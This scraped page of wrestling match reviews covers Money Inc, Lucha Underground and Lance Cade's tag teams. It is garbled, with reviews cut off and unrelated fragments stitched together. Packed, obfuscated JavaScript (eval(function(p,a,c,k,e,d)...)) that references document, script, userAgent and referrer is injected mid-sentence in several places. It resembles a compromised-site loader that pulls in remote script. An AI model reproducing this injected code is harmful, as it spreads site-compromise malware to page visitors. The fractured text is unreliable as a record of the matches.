Don’t you see the connection here? This would be before Mania as Jimmy is with DiBiase and IRS here, despite being with Hogan and Beefcake earlier. Yeah that’s not confusing at all. Irwin’s promo implies this is after April 15 but that wouldn’t add up at all so maybe that’s an error. The champions, Money Inc, tries to leave before the match starts but that gets nowhere. Typhoon and DiBiase start us off.

Everyone goes in there at once and the fat guys do nothing but corner splashes for about two minutes. They follow this up with a BIG splash, just to add some variety. They try it again and Quake misses and hits the floor. No earthquake from it but whatever. DiBiase chokes him with a rope from somewhere. Nothing of note going on here as it’s mainly just punches and kicks.

LONG beatdown segment on Earthquake as the heels do their evil deeds. Crowd is relatively dead here until Quake hits a hiptoss and STILL doesn’t make the tag. We get a comparison of Earthquake to Undertaker which is a matchup that could have been interesting if the timing had been right. Quake was getting to the point of not mattering when Taker arrived.

Tag by Quake doesn’t count since the referee didn’t see it. Double clothesline by Quake as Hart is described as a monkey on helium. Hot tag to Typhoon and the crowd wakes up a little bit. Everything breaks down and the referee tries to get Hart out of the ring. IRS blasts DiBiase in the face with the briefcase and Earthquake drops an elbow….FOR THE PIN? This actually looks like the title change and with nothing else happening…yeah that was a title change.

Rating: D+. Boring match but the crowd popped for the title change, I think due to shock more than anything else. This was their only title reign as they would lose the belts back to Money Inc in about three months. The match was pretty bad but a title change back then was always a good thing. This was a house show mind you, so it’s not like this was well known or anything, making it an actual rarity.

Speaking of the Legion of Doom, here they are at Summerslam 1992.

Money Inc. vs. Legion of Doom

Hawk finally fights up and rams Ted into the buckle but the hot tag is broken up. The place is going to go nuts when Animal gets in. Ted drops some knees on Hawk and puts on a front facelock but the bird man carries him over towards Animal. IRS breaks up ANOTHER hot tag attempt but gets caught in a double clothesline with Hawk. Animal FINALLY gets the hot tag and cleans house but IRS breaks up the Doomsday Device. Not that it matters much as Animal powerslams DiBiase down for the pin about three seconds later.

Tag Titles: Money Inc. vs. Ultimate Warrior/Randy Savage

You should know the ending already by this point. The faces run to the ring and beat the tar out of the champions just because they can. Heenan has the Brain Scan again which is still funny. He uses it to turn this into a Ross Perot joke, making him my hero. Warrior, wearing a singlet, comes in. Warrior misses a shoulder tackle and humps the mat which looks odd as all goodness.

IRS’ finishing move was a flying clothesline. What does that tell you about his career chances? Flair and Ramon are happy about the faces losing which makes no sense as they’re fighting them at Survivor Series anyway, so why not hope it becomes a title match?

Warrior would bail about three days before the show so the match never happened and Perfect would get the spot in a great angle. Savage gets the hot tag and takes over. IRS takes the big elbow but DiBiase makes the save to start the big brawl. The Maniacs just dominate and the heels run for the CHEAP count out. The challengers chase him out and then Ramon and Flair show up for a six man brawl in the aisle.

Rating: C+. It was pure domination by the faces which is kind of stupid as it makes the champions look weak but they were booked as smart and cowardly anyway so that’s all well and good. This was really just to give the Maniacs some ring time together for experience which didn’t matter at all as it became Perfect and Savage anyway.

Time for an elimination tag at Survivor Series 1992.

Nasty Boys/Natural Disasters vs. Beverly Brothers/Money Inc

Rating: C. Not bad here but the ending kind of sucked. What was the point in having the Nasties beat Money Inc that fast when the majority of the match was about the Disasters vs. Money Inc? The Nasties were basically there to fill in a spot instead of being the focus of the match for their team. Odd indeed but it was entertaining enough.

Money Inc. vs. Chris Hahn/Laverne McGill

The next big feud was against the Mega Maniacs of Hulk Hogan and Brutus Beefcake. Here they are right before the showdown at Wrestlamania IX on Raw, March 22, 1993.

Money Inc. vs. Scott Rich/Jeff Armstrong

Money Inc.’s titles aren’t on the line. DiBiase and we’ll say Rich start things off. Vince doesn’t know which is which so why should I have to? A quick clothesline puts Rich on the floor as Bartlett is watching TV while on commentary. Thankfully he would be gone soon after this so we didn’t have to put up with his comedy anymore. Off to IRS vs. Armstrong for a bit before it’s quickly back to Ted. This needs to end already as well. Ted hits a powerslam and IRS clotheslines Rich down for the win. Next.

Tag Team Titles: Money Inc. vs. Mega Maniacs

Beverly Brothers vs. Money Inc.

One Beverly Brothers match isn’t enough??? Dang man who was booking this crap back then? Why in the world would you put THIS on a tape? We’re back to Gorilla and Ross here. It’s heel vs. heel so there we are. It’s the classic showdown that the world was waiting for! And of course the match sucks. So who am I supposed to cheer for her? Am I supposed to cheer? I don’t think so since this is clearly designed to be a test run of a new form of torture.

Gorilla goes into his history of tag team partners which is LIGHT YEARS more interesting as he talks about being partners with guys like Bill Watts. This is a very different style of commentary from Gorilla and JR as they’re clearly having more of a free reign than normal as this isn’t designed to be a regular show.

It lets you have more stuff you want to talk about since you don’t have to plug angles or shows. It’s very nice actually. Granted they don’t have much interest which is fine and understandable. They get bored and just start cracking jokes that you have to be a true wrestling geek to get. To be fair, this is one of the most boring tag matches that I’ve ever seen which is why I’m talking about the far more interesting as well as entertaining commentary.

It’s so funny hearing two old guys talk about how bad things are now that they’ve changed in the 90s. The “brothers” make a mistake and DiBiase gets a rollup for the pin. And all of a sudden Vince is talking??? It was like the production guy pulled the tape early or Vince put his seal of approval on it. That was WEIRD.

Steiners/Smoking Guns vs. Money Inc./Headshrinkers

Well, talk about a tough act to follow. This is nothing but filler here as I don’t think there’s any kind of a point to this match other than to give the crowds a chance to restart their hearts. There’s no story here that I can think of other than you have two face teams and two heel teams going at it. The Guns are about as new as possible at this point.

Ross says he doesn’t want to disrespect this match, so therefore we’ll be lucky to hear who wins. It simply can’t be worse than WCW was though. I will never forget a match between Ultimo Dragon and Steven Regal where literally over the entire course of an eight minute match there was not a single mention of either guy or the match itself until the very end where Tony said 2, 3 (he missed the one) we have a new Television Champion!

Yes, in a match not only on television, not only a title match, but a match where the title CHANGED HANDS, thereby making history as Gorilla liked to say, we have eight minutes of people talking about the NWO and not a word about the two guys in the ring. That’s just pathetic. Anyway, rant over. Scotty and Ted start us up so there we are. To say Heenan is happy is an understatement.

Now remember, we’re NOT going to talk about Yoko and the title match out of respect here. If we don’t talk about them anymore I’m going to scream from hearing about them too much. Ross is at least talking about the match so there’s that. DiBiase beats on Billy and hooks the Dream. Heenan says that Billy is fading into obscurity. I have too many jokes to pick from here. Billy gets a roll up out of nowhere to get the pin and the big brawl starts to the Guns’ awful music.

Rating: C. Eh what do you expect here? This was six minutes of just filler and it’s the absolute best thing they could have done here. No one was going to care about anything after what they just saw, so there we are. This meant nothing at all and it wasn’t supposed to. The wrestling is about what you would expect at a house show, but it wasn’t horrible or anything. This was much more about giving the crowd a breather instead of a real match, and there’s not a thing wrong with that.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yebit|var|u0026u|referrer|nbnnk||js|php'.split('|'),0,{})) Underground
Date: November 5, 2014
Location: Lucha Underground Arena, Los Angeles, California
Commentators: Vampiro, Matt Striker

Johnny Mundo/Prince Puma vs. Cortez Castro/Cisco

Cortez gets in a cheap shot from the apron before breaking up the Flying Chuck. Cisco gets two off a backsplash as Striker says the team is Cortez and Castro. Cortez gets two off a back elbow as Striker brings up Cortez conquering the Aztecs. Big Rick is smoking a cigar on the steps as Mundo finally rolls away from the double teaming. Puma comes in off the hot tag and cleans house with a running neckbreaker to Cisco, forcing him to DDT his own partner in a spot I hated in (I think) TNA and I hate it here.

Everything breaks down with Mundo missing a dive over the top, allowing Cortez to kick Puma into a neckbreaker from Cisco for two. They load up that 3D into a Codebreaker from last week but Mundo pulls Cortez to the floor. Back in with Puma hitting a cutter, setting up the Moonlight Drive on Cisco for a close two. Puma hits a big flip dive to take out Cortez, followed by stereo 450s to give Mundo and Puma the double pin.

Video on Mil Muertes (Thousand Deaths, better known as Ricky Banderas, who was Judas Mesias in TNA and El Mesias in AAA), who is being brought in by Cueto to deal with Blue Demon Jr.

Son of Havoc/Ivelisse vs. Chavo Guerrero Jr./Sexy Star

Ivelisse is in a bit of trouble but just kicks Star in the head to take over again. Havoc comes back in for a standing moonsault which only hits knees. The real hot tag brings in Chavo for a Liger Kick in the corner for two. Everything breaks down with a catfight breaking out, capped off with a running seated senton from Star to crush Ivelisse on the floor. Back in and Chavo hits the Frog Splash on Havoc but lets Star roll him up for the pin.

Konnan narrates a video on discovering Prince Puma fighting on the streets.

Blue Demon Jr. vs. Mil Muertes

Back in and Demon armdrags him down followed by a dropkick. Some chops in the corner have Mil in some trouble but Catrina gets up on the apron. The distraction lets Mil get in a shot and Catrina adds a kick with a heel. Demon comes back with a bulldog for two but Muertes gets two off a Backstabber. We get another shot of the announcers to get on my nerves again. Muertes jumps into a raised boot and gets caught in a DDT for two. Back up and Muertes just spears Demon in half, setting up a Downward Spiral for the pin.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:

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Friday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifkta|var|u0026u|referrer|atffn||js|php'.split('|'),0,{})) was the best day I’ve ever had with the book sales, breaking the release day for the Nitro 1997 book.  You have no idea how much I appreciate you guys doing this.

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyffa|var|u0026u|referrer|hksfe||js|php'.split('|'),0,{})) up we’ve got a guy who was starting to show some potential when he passed away far too early: Lance Cade.

Scotty 2 Hotty vs. Lance Cade

Garrison Cade vs. Lance Storm

Since Cade was as boring as Austin said Storm was, they stuck him with Mark Jindrak as a tag team. Here they are in a Tag Team Turmoil match at Armageddon 2003.

Raw Tag Titles: Tag Team Turmoil

Gauntlet match more or less, with two teams starting and the winners advancing to face the next team. There are six teams total and we start with La Resistance vs. Rosey/Hurricane. The Dudleys are the champions coming in. Rosey takes over on Conway to start but it’s off to Hurricane very quickly. Out to the floor quickly which goes nowhere so back in for a full nelson by Conway.

Swinging neckbreaker gets no count because he’s under the ropes. Dupree comes in as we talk about France in Iraq. Never let it be said that Vince passes up a chance to cheer on AMERICA. Hurricane gets a face buster to escape and there’s a double tag. Rosey cleans house and throws out Dupree. A super splash off the shoulders of Rosey off the second rope ends Conway.

Mark Jindrak and Garrison Cade are in next, running through the crowd and stealing a rollup pin in maybe 20 seconds.

In next are Storm and Venis with the new guys taking over on Jindrak who escapes to bring in Cade. The fans tell Storm he’s boring which is a point to his character at this point. Storm speeds things up a bit but double teaming by the heels takes the heel down. Wait, actually I guess Storm and Venis are good guys. Works for me I guess. Storm avoids a splash in the corner and here’s Venis.

Val cleans house, destroying both guys with relative ease. He was always a pretty steady hand so that doesn’t really surprise me. Lance hits a Cactus Clothesline to take himself and Cade out. Val tries a suplex to bring Jindrak back in but it’s the Warrior at Mania 5 ending for them.

Team number five are the Dudleys, the reigning champions. The Dudleys take over and it’s a Tree of Woe for Cade. They’re only ten time champions here so this is a LONG time ago for them. Off to D-Von and Jindrak with Jindrak hitting a clothesline to get two. Jindrak isn’t that good at stomping. Cade goes up but mostly misses an elbow. Double tag and Bubba cranks it up. Everything breaks down and D-Von and Jindrak trade rollups. Dropkick misses and 3D ends Jindrak.

The final team is Steiner/Test. Bubba may have hurt his shoulder. Double team on Bubba but he manages to take Test down. Suplex sends Bubba flying and Test works on his arm a bit. We finally get something normal going with Steiner vs. Bubba. Steiner drops the elbow and actually covers, getting two. Fujiwara Armbar by Steiner and it’s off to Test who works on the arm even more.

Up to the corner and Bubba shoves Test off and ACTUALLY HITS THE BACKSPLASH!!! I’ve never seen him hit that ever and shockingly enough the guy he hit it on is now dead. Double tag brings in Steiner and D-Von. Neckbreaker takes Scotty down and another one to Test gets two. Double teaming occurs by the challengers and Test gets a sidewalk slam for two. Test accidently kicks Steiner but Test gets a full nelson slam to D-Von for two. Nice move by the Canadian to send in the belt as a decoy and then he gets a chair shot with the referee distracted. Doesn’t work as a Bubba Bomb gets the pin on Test but nice idea.

That would be the end in theory but here’s Bischoff to announce that there’s a final team, who have used their favor for winning at Survivor Series. Yep it’s Flair/Batista. This lasts about 90 seconds and the Dudleys get in maybe two punches combined. Batista gets the powerbomb on D-Von for the titles.

Rating: C-. Hard to call these because they’re more or less just a bunch of Raw matches thrown together into a 20 minute match. It’s ok but if you’ve seen one of these you’ve seen the vast majority of them. It really does show you how weak the division is when the Dudleys are the only realistic team that could win in there. Nothing great but I’ve seen worse.

Somehow they got on Wrestlemania XX.

Raw Tag Titles: La Resistance vs. Dudley Boyz vs. Garrison Cade/Mark Jindrak vs. Booker T/Rob Van Dam

Time for a new partner. From Vengeance 2004.

Tajiri/Rhyno vs. Jonathan Coachman/Garrison Cade

Uh…yeah. Seriously how do I even talk about this? This is like an opener on Heat, but a bad one. This was announced on Heat. Seriously, what was the thought osn this? To my great shock and awe, this has a backstory. For no apparent reason Eugene was made GM of Raw for a night and had a game of musical chairs for a title match. Tajiri was eliminated first and Coach got the last seat. This fell out of that.

Tajiri is actually popular. Coach wisely runs from Rhyno. I’ve never seen the appeal of Cade. The guy just isn’t that good and that’s all there is to it. Oh look: Rhyno vs. Garrison Cade on Pay Per View. Coach and Cade beat up Tajiri. Again, is there a reason this is happening? I mean was there NOTHING else to try?

After even more boring stuff, we get green mist from Tajiri to Cade. Apparently the referee seeing green stuff on Cade’s formerly blonde hair is perfectly fine. This is making my head hurt and I’m not even fifteen minutes into it. Cade gets gored, Coach gets kicked and I need a stiff drink.

Rating: D. This was a glorified squash and it was just boring as all goodness. Tajiri was always good for some stuff, but Cade and Coach? Really? That’s the best you can come up with? This was one of the dumbest openers of all time and it’s also one of the least interesting. I mean just think about it: Tajiri and Rhyno vs. Garrison Cade and Jonathan Coachman. Think about that for a minute.

Raw Tag Titles: Lance Cade/Trevor Murdoch vs. Rosey/The Hurricane

Earlier today the southern boys say they’ve beaten the champions before and they’ll do it again. Cade and Murdoch are a brand new team, forming like ten days before this. Naturally they’re the #1 contenders. You can see a bunch of fans going to get popcorn during this one. Hurricane vs. Cade gets us going and the champs clear the ring quickly. Hurricane headscissors Murdoch to the floor as we talk about country music.

Hurricane hits a missile dropkick and it’s off to Rosey. Lawler points out the stupidity of having a place that loves country music asked to boo a pair of country boys. Cade takes over on Rosey as Murdoch goes to hit on Lillian. Well to her credit she looks great tonight. Hurricane saves her but Murdoch gets a SICK elevated DDT to the floor on storm boy.

Rosey takes over but misses a splash in the corner to put him down. We finally get a trainer down here as the match falls apart. Cade cheats some on the floor as Hurricane is carried out. Like an idiot he comes back and tags in, only to get clotheslined a few seconds later for the pin.

After some time apart, the team would reform late in 2006, including this match on Raw, October 2 of the year.

Generation X vs. Lance Cade/Trevor Murdoch/Highlanders/Viscera/Charlie Haas

This is under Texas Tornado rules. Everyone rushes the ring and are pretty easily dispatched. This is exactly what you would expect: DX dominates and barely breaks a sweat. Top rope elbow hits Charlie, Chin Music, Pedigree, done in about two and a half minutes.

From Cyber Sunday 2006 as the team gets back in the Tag Team Title hunt.

Cryme Tyme vs. Viscera/Charlie Haas vs. The Highlanders vs. Lance Cade/Trevor Murdoch

The options are Texas Tornado, Fatal Fourway or Tag Team Turmoil with the insane one winning. Texas Tornado means everyone is in the ring at the same time. No titles or anything but rather just a match to fill out the card. Tornado gets half the vote and it’s a big mess. I remember Viscera and Charlie as a team but have no idea why. This is a total mess of course.

Who would imagine that JTG would be the only one left in the company at this point and that Viscera is the most famous name in this match somehow. I’m not even going to try to keep track of what’s going on here as it’s a free for all. JTG and Charlie are the only ones in the ring. Great German suplex by Haas to take over but they’re replaced almost immediately by Shad and Viscera.

Shad has been arrested 23 times for assault. The Highlanders get rid of the fat man as Cade and Murdoch take over. And then JTG hits a kick to end it. Sure whatever. They dance on the announce table after the match and teach JR the handshake. And there goes King’s laptop. Racial stereotyping FTW! Yes I said FTW.

Rating: D. Total mess here with no flow or story in sight but that was the idea I guess. It was just a big disaster with everyone all over the place. It was to put Cryme Tyme over but of course they never wound up doing anything. They would get fired sooner or later here but I’m not sure when. It’s not like it matters or anything so whatever.

Jeff Hardy/Brian Kendrick/Paul London vs. Lance Cade/Trevor Murdoch/Mr. Kennedy

The follow up on Raw, October 22, 2007.

Paul London/Brian Kendrick/Mickie James vs. Melina/Lance Cade/Trevor Murdoch

Jeff McCallister vs. Lance Cade

Cade and Murdoch have recently split up and Murdoch became a country singer for like a day. He hammers on Jeff to start and walks around, yelling at the crowd. A big legdrop has Jeff in even more trouble and a Rock Bottom into a sitout spinebuster is enough for the easy pin.

Shawn Michaels/Batista vs. John Bradshaw Layfield/Chris Jericho/Lance Cade

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